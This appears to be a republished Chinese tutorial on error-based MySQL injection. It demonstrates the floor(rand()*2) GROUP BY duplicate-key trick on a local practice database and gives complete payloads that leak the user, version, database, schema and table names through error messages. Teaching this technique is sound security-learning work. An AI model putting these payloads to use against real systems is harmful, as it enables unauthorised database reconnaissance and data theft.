2-9自报家底相关函数以及应用

1.自报家底

我们本篇文章,将讨论什么是自报家底,相关的函数又有哪些,它的基本使用是怎么样的,为什么自爆家底能够把所有能暴露的都暴露出来,它的原理是什么,我们又如何把用户名、数据库名,甚至比较重要的表名都暴露出来呢

自报家底:如果我们找不到盲注和显注的地方,那没有错误也要制造错误,并把查询的信息让错误带出来,通过不断地嵌入查询,把这些查询结果拼接到错误信息里面,带出来,然后告诉注入者到底有什么东西,把所有家底能透露的都透露了

我们接下来实际操作一下,相关的函数是怎么应用的

我们打开一个终端,连接到hxf数据库,mysql -uroot -proot

use hxf

在这里插入图片描述

我们看一下当前有什么表,show tables;

在这里插入图片描述

我们在上一篇文章,已经接触过有关的函数,比如if()函数,如果uid大于10005,真的话,返回1,否则就是假,select * from user where if(uid>10005,1,0);

在这里插入图片描述

我们发现返回的就只有3条记录,并且uid都是大于10005的,id的参数,如果第一个表达式为真,就返回第二个,否则的话,就返回第三个,有时候,我们查询一个表的时候,排序可以通过循序的办法

我们接下来讨论一下,随机是怎么获得的,select rand();

在这里插入图片描述

我们看到,返回0到1之间的小数,select rand();

在这里插入图片描述

那我们乘以2,select rand()*2;

在这里插入图片描述

它最大就是接近2,也就是0到2之间的一个小数

我们可以通过round()函数,对它们进行四舍五入,select round(rand()*2);

在这里插入图片描述

四舍五入最大的结果是2,select round(rand()*2);

在这里插入图片描述

最小是0,如果整数,包括0,1,2,三个数据,这是四舍五入

我们还可以对它,递反取整,floor是向下取整,这意味着,最终只有两个值,select floor(rand()*2);

在这里插入图片描述

递反取证的意思,把小数点后面直接抹掉,没有四舍五入,仅仅取整数的部分,就是向下取整

我们可以看下结果,把随机数给拷贝下来,0.5629705046890029,select floor(0.5629705046890029);

在这里插入图片描述

仍然是0,假如是1.5,直接把小数点后面,全部抹掉,select floor(1.5629705046890029);

在这里插入图片描述

返回的就是1,因此,select floor(rand()*2)只有两个结果,一个是0,一个是1

当我们查询select * from user时,我们可以order by rand,这是随机排序,select * from user order by rand();

在这里插入图片描述

我们还可以在回车,select * from user order by rand();

在这里插入图片描述

我们发现排序结果是不一样的,这是随机数的一个特点

有时候,我们需要把字符串拼接起来,以便满足,我们对注入者,对字符串的一个拼合需求

例如,我们把uid和uname拼合起来,拼接我们用concat函数,比如abc拼def,把这两个字符串拼接起来,select concat(‘abc’,‘def’);

在这里插入图片描述

我们在user表中,把uid和uname拼接起来,select concat(uid,uname) from user;

在这里插入图片描述

返回结果,我们看到,前面是10003,后面是admin,这样,就是实现了uid和uname的拼接

这个拼接非常有用,我们可以把不同的字符串拼接起来,比如,concat,我们把当前的用户和版本,拼接起来,这种情况,我们可以在网页中,判断出来,如果有显示位的话,select concat(user(),version());

在这里插入图片描述

我们可以直接看到这些内容到底是什么

同时,我们还注意到from user,select * from user;

在这里插入图片描述

它的金币都是两万,而两万金币的uid,就有5个

我们按照金币来分组,把uid都列出来,我们希望把uid都写在一行中

我们先看gold,count(*),按照金币来分组,group by gold,

select gold,count(*) from user group by gold;

在这里插入图片描述

我们看到确实是5个,按照金币来分组,把uid都列出来,这个时候,我们需要group_concat,按照分组来,拼合字符串uid,我们回车看一下,select gold,group_concat(uid) from user group by gold;

在这里插入图片描述

这样就把金币为两万的所有uid,都给拼接起来,uid之间以逗号分割,这种情况就实现了一条查询语句,把所有的uid显示在一个字段中,这种情况在网页显示的时候,尤为重要,往往一个显示位,只显示一个字段

把多个字段的值,显示在一个显示位中,对注入者来说,是经常的应用

我们接下来看一下rand()函数的使用,叫随机函数,随机函数乘以2,得到的结果中,我们用floor函数,select floor(rand()*2);

在这里插入图片描述

得到的是最大值两个值

而如果我们使用3,那最大的相对有3个值,是0,1,2,如果是4,相对应的有4个值,0,1,2,3,也就是说,这个因子是4,如果它数值越大,那么产生可能性的结果,就越大,这也是它的特性

我们概括一下

相关函数:

If(),rand()

floor()取递反函数

ifnull()

concat()字符串的拼接

group_concat()按分组拼接函数

2.自报家底暴露用户名

我们在这里对用户、用户表进行统计,统计的时候,我们把它字段名a,对a进行group by,看看有什么结果,

select count(*),floor(rand()*2) as a from user group by a;

在这里插入图片描述

它给了我们一个报错,这个报错是逐渐报错,1,而我们这里查询,实际上,不会产生逐渐报错

我们在执行几次,

select count(*),floor(rand()*2) as a from user group by a;

在这里插入图片描述

我们发现还有个0,那就说明0跟1,实际上来自,floor()这个函数得到的结果,最重要的在a这个字段,因为group by的结果是对a进行分组,也就是floor之后,对这个随机函数得出的因子进行乘2之后,取递反数的结果

group by的含义是逐个分组,假如,我们把count去掉,先看下结果,

select floor(rand()*2) as a from user group by a;

在这里插入图片描述

而count结果,是对user中的每条记录,进行逐一的分组统计

如果都是0的时候,select floor(rand()*2) as a from user;

在这里插入图片描述

我们可以看到一个,两个不会有问题的,当进入第三条的时候,因为它是另外一个分组,这样子计算也是没有问题的,当进入第四条的时候,因为group by的结果是对0进行分组已经结束了,而随机函数的目标,就导致了group by对0进行在一次分组,而分组是要去重的,因此,在这里就产生了逐渐的冲突,也就是在第四条的时候,要对0进行分组,实际上0分组,已经结束了,它之所以对0重新计算,是因为有随机函数的存在而导致的,所以我们就构造了一个逐渐冲突的错误,这个逐渐冲突的错误,对我们注入者有启示

我们把它写出来,我们通过concat函数把它拼接起来,我们把用户名拼接进去,我们回车,

select count(*),concat(user(),floor(rand()*2)) as a from user group by a;

在这里插入图片描述

我们发现这里并没有报错,而是正常的显示,这里是用户名,后面有个1,1是floor的结果

我们看到随机数得到的结果,0都是排序的,1可能在后面,这样产生冲突的可能性比较小,这就是为什么它没有报错的原因

如果这个随机数后面的因子2,它的数值越大,那么产生结果的数值就越大,冲突的可能性就越小,这就是我们为什么在注入攻击中使用2的原因,就是希望增加冲突的可能性,所以,我们在回车,

select count(*),concat(user(),floor(rand()*2)) as a from user group by a;

在这里插入图片描述

在回车,

select count(*),concat(user(),floor(rand()*2)) as a from user group by a;

在这里插入图片描述

在我们多次回车的时候,我们发现终于有冲突,发生报错,报错的时候,就把用户名给带出来了,我们通过报错的信息中,就得到了用户名,它从localhost登录,同时,我们还可以把database数据库名暴露出来,

select count(*),concat(user(),floor(rand()*2),database()) as a from user group by a;

在这里插入图片描述

数据库是hxf,这样,我们就实现了,把用户名和数据库名,爆出来的结果

我们可以概括一下

1.原理:

Select count(*),floor(rand()*2) as a from users group by a;

使用了group by对随机函数进行重复计算的一个原理,group by是主键内部的新建的仪式表,相当于主键,因此,随机函数,再一次发送了重复的值,那么就产生了一个主键冲突,导致报错

2为因子数,数字越小,冲突可能性越大。最小为2。这就是我们经常用2的原因

2.暴露系统用户名敏感信息

Select count(*),concat(version(),floor(rand()*2),user()) as a from users group by a;

我们通过concat(),把版本、用户名、甚至是数据库名拼接在一起

3.暴露所有库名,表名

所有库名:

select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col

我们这里拷贝一下,我们把所有库名,分析一下,因为它们太长了,

select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;

在这里插入图片描述

我们看到暴露了一个数据库名,concat的结果,我们先分析一下,它的原理,跟我们刚刚所发生报错的原理是一致的,仍然是count(*),后面concat()结果,最主要是对floor随机函数的一个数值

我们输入的同样是count,后面我们看到这个floor,拼接在这里,而拼接的结果,我们看到这个select,from,我们看到这个只是一个字段,select 这个字段名,from这个表名,这个是我们前面所学到的字典信息,tables,tables的目标是获得0后面的1条记录,我们这里是从schema_name后面的information_schema,这是数据库的信息,查询到其中1条的数据库信息,就是1个数据库名,我们把它当成1个字段,然后我们select出来,select出来之后和floor进行拼接,这样的结果,最终,我们按照x_col字段名进行group by,然后就报错,我们发现会得到schema

然后,我们对着字典表中,改一下,从1位的1个,产生另外一个数据库名,

select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 1,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;

在这里插入图片描述

我们看到是第二个数据库名,我们在改一下,从第二个开始的第一个,

select count(*),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 2,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2)) x_col from information_schema.tables group by x_col;

在这里插入图片描述

我们看到dvwa数据库,1是floor(rand(0)*2))产生的结果,show databases;我们看一下,验证一下

在这里插入图片描述

我们看到这都是暴露出来的数据库

所有表名:

select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;

同时,我们还可以把表名替换一下,实际上,我们不过是把字典表中,schema_name换成了查询的table_name,我们粘贴一下,回车,

select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;

在这里插入图片描述

我们看到,我们查询的是,当前数据库下的表,其中有个user表

我们show tables;看一下

在这里插入图片描述

这是用户表,我们还可以换一下,也就是查询第二个表是什么,

select count(*),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 2,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)*2))x_col from information_schema.tables group by x_col;

在这里插入图片描述

我们看到是空的,正常,因为我们只有1个表

好,我们概括一下,拼接的部分,多看看,复杂了点

4.小结

我们本篇文章的目标是自爆家底,自爆家底的目标是,如果,它不报错,我们就制造错误,并且把查询的信息和错误,带回来给我们,这种结果,实际上是它爆给我们的,我们看到

我们所使用的常用暴露信息的函数有

if() ifnull()

rand() floor()

Concat()

这些信息,也是最基础的信息

如何把用户名,数据库名,表名等暴露出来。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17341.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【虚幻引擎】UE4/UE5科大讯飞文字合成语音

一、链接地址 链接:https://pan.baidu.com/s/15Qoc48x3DLpw4eW1qHXInQ 提取码:jqpx B站视频链接:https://space.bilibili.com/449549424?spm_id_from333.1007.0.0 二、案例介绍 第一步:首先进入讯飞开放平台注册一个账号&…

虚幻引擎C++开发学习(三)

这一章,我们要实现一个俯视视角的坦克小游戏,玩家可以操作坦克在地图中移动。敌人是固定的,但是具备一定的AI,可以瞄准玩家,并且在玩家进入攻击范围后,对玩家进行攻击。如果玩家被摧毁,则游戏结…

在虚幻引擎中创建大气的HIMIL电影作品

今天瑞云渲染小编给大家带来了关于电影制片人Tiziano Fioriti展示了《H I M I L》项目背后的工作流程,解释了人工智能是如何用于细节的,并谈到了设置火光的问题。 介绍 大家好,我叫Tiziano Fioriti,是来自意大利的自由电影制作人…

颠覆游戏开发,虚幻引擎 UE5 正式发布

整理 | 章雨铭 责编 | 屠敏 出品 | CSDN(ID:CSDNnews) 4月6日,UE5正式发布! 体验完UE5的新功能后,3D游戏狂热爱好者感叹:“惊呆了,老铁!”美工直呼:”工作量…

虚幻4引擎将至!从虚幻看游戏引擎发展

3D游戏引擎是个什么玩意 泡泡网显卡频道5月23日 在某游戏中的一个场景中,玩家控制的角色躲藏在屋子里,敌人正在屋子外面搜索玩家。突然,玩家控制的是一个穿迷彩服的士兵,突然碰倒了桌子上的一个杯子,杯子坠地发出破碎…

UE DTMqtt 虚幻引擎 Mqtt 客户端插件说明

目录 CreateMqttClient Connect Subscribe UnSubscribe Publish Disconnect BindConnectedDelegate BindConnectionLostDelegate BindMessageDelegate CreateMqttClient 创建一个Mqtt客户端对象 Connect 链接Mqtt服务器Subscribe 订阅消息频道UnSubscribe 取消订阅频道…

Unreal Engine 虚幻引擎 接入第三方SDK

前言 虚幻引擎对SDK接入有着一套专门的方式,本文主要描述了如何给使用虚幻引擎开发的项目接入第三方SDK,并分享了接入微信SDK的分享等基础功能的实践过程,还涉及到调试和提高整合SDK效率的一些方法。 SDK意义 SDK 广义是指Software Development Kit 即 应…

虚幻引擎UE4中的Tick事件

虚幻引擎UE4中的Tick事件是程序运行中每一帧刷新一次,例如在通常每秒60帧的游戏运行中,Tick事件就每秒执行了60次。这个事件相当于Unity中的Update和LateUpdate函数一样的性质,(同理在JS中就是animate()函数)。 在UE4里…

虚幻与Unity引擎 之 ✨ 为什么国内那么多开发者喜欢用虚幻或者Unity?

为什么国内那么多开发者喜欢用虚幻或者Unity? 虚幻第一版1998年问世,Unity第一版2005年面世 简单介绍 首先,使用哪一款游戏引擎去制作一款游戏,并不是根据使用者的喜好来制定的。 开发者们的喜好千奇百怪,但最终能在技术选型中影响到结果的,往往是技术积累以及引擎本身的…

【唐老狮】Unity和UE4两大游戏引擎,你该如何选择?

经常被想进入游戏行业的同学问这样一个问题:Unity和UE4学哪个更好?当我面对这样的问题,往往都会先问清楚对方对哪个更感兴趣,然后就引导他学习哪个,投其所好的回答对方的问题! 你心里肯定在想,你…

UE4虚幻引擎开发手机游戏

该文章来自用户转载 点击阅读原文 UE4虚幻引擎作为游戏开发引擎之一,在很多项目中都会使用到。下面就给大家分享下如何使用UE4开发高品质的手机游戏。 作者介绍 大纲 •介绍 •UE4 针对3A级手游的渲染管线和特征集 •使用ES3.1, Vulkan, Meta…

虚幻引擎在游戏之外可以做什么呢?

虚幻引擎 4 的跨界表演获得了“家装”引擎,VR 引擎,电影引擎等众多称号,那么在这些新领域的正确玩法是什么? 不玩不知道,一玩吓一跳。 -------又玩到新玩具的老陶 一个趁手的工具在开发者手里,你永远不会猜…

学习虚幻引擎UMG的基础

内容概括 对于UMG,之前我没有相关的经验,今天学习了下其基础知识。因此记录了一些自己感兴趣的内容。 本篇主要参考的教程是:UMG UI设计器快速入门 | 虚幻引擎文档。 但是我排除了一些关联度不高的、过于基础的、重复的内容。增添了一些自己…

虚幻引擎4中的实时GI技术

video: http://v.youku.com/v_show/id_XNDEwMDEwNTg4.html UE4中的realtime GI是基于这个researcher: http://blog.icare3d.org/ 主要的paper: http://perso.telecom-paristech.fr/~eisemann/publications/Crassin2011VoxelGlobalPG/Vox…

用 UE 虚幻引擎做个捏脸小功能~~

最近在学习 UE 相关的使用,正好看到一篇文章讲解用 Control Rig 实现简单捏脸功能,这种小而美的完整案例挺适合来练手的,涉及到了 UI、蓝图、动画、骨骼等方面,值得推荐一下。 从这个小功能出发,在学习其他内容时如果有…

Unreal Engine 虚幻引擎,性能分析,优化(一)

目录 一、Frame 帧 二、理想情况下,做性能分析时,当寻找游戏存在的瓶颈时,游戏的运行环境越接近目标硬件和目标平台,获得的数据越准确。 三、线程 四、Analysis of a frame ,“CPU”线程,“Game”线程 怎…

UE4 虚幻引擎 GitSourceControl源码解析

效果功能图 背景与目标 资产的工作量很大,并不是个人在短时间内可以独自完成的,需要大量美术人员长时间的进行团队合作完成的,并且完成一版之后,后续也还有更新维护的需求。所以UE的Editor也提供了对资产版本管理的功能&#xff…

虚幻4与Unity: 哪个游戏引擎是开发者的最爱?

转自: http://www.narkii.com/club/thread-335184-1.html 虚幻4与Unity: 哪个游戏引擎是开发者的最爱? 虚幻4 (UE4) 和Unity是目前市场上最热门的游戏引擎,也各自拥有为数众多的开发者,虽然一些大型的游戏公…

【UE4】虚幻引擎运行流程

前言 当前版本:4.26.2 本文原创 说明:有些名词保持英文可能更容易理解 目录 游戏流程总览 各个平台启动引擎的入口函数 引擎入口函数 GuardedMain() EnginePreInit 引擎预初始化 EngineInit 引擎初始化 EngineLoop 引擎主循环 EngineExit 引擎退…

【虚幻引擎】UE4/UE5插件

一、插件分类 插件分为七大类 Blank:空白插件,可以从头开始自己定义想要的插件风格和内容,用此模板创建的插件不会有注册或者菜单输入。BlueprintLibrary:创建一个含有蓝图函数库的插件,此模板函数都是静态全局函数&…